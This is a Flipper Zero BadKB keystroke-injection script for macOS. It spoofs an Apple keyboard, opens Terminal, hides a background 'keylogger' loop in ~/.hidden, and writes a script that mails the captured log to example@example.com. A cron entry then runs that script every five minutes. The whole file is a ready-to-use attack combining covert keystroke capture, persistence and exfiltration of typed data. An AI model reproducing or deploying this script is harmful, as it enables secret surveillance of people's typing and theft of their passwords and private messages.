ID 05ac:021e Apple:Keyboard REM Keep these 3 lines IF (and only if) it's the first time you are performing a badKB attack against a specific macOS target. REM In fact, it helps Flipper Zero bypass the macOS keyboard setup assistant. Otherwise the attack will not start. REM Author: 47LeCoste REM Version 1.0 (Flipper Ducky) REM Target: macOS DELAY 3000 F4 DELAY 1000 STRING Terminal DELAY 200 ENTER DELAY 1000 STRING "mkdir ~/.hidden" DELAY 500 ENTER STRING "screen -S keylogger" DELAY 500 ENTER STRING "script ~/.hidden/keylogger.txt" DELAY 500 ENTER STRING "nohup bash -c 'while true; do read -rsn1 input; echo -n \"$input\" >> ~/.hidden/keylogger.txt; done' > ~/.hidden/keylogger.log 2>&1 &" DELAY 500 ENTER CTRL A STRING "d" DELAY 500 ENTER STRING "disown" DELAY 500 ENTER CTRL A STRING "d" DELAY 500 STRING "exit" DELAY 500 ENTER DELAY 1000 STRING "echo \"#!/bin/bash\" > ~/.hidden/send_logs.sh" DELAY 500 ENTER STRING "echo \"echo 'Keylogger Logs' | mail -s 'Keylogger Logs' -a ~/.hidden/keylogger.txt example@example.com\" >> ~/.hidden/send_logs.sh" DELAY 500 ENTER STRING "chmod +x ~/.hidden/send_logs.sh" DELAY 500 ENTER STRING "(crontab -l ; echo \"*/5 * * * * ~/.hidden/send_logs.sh\") | crontab -" DELAY 500 ENTER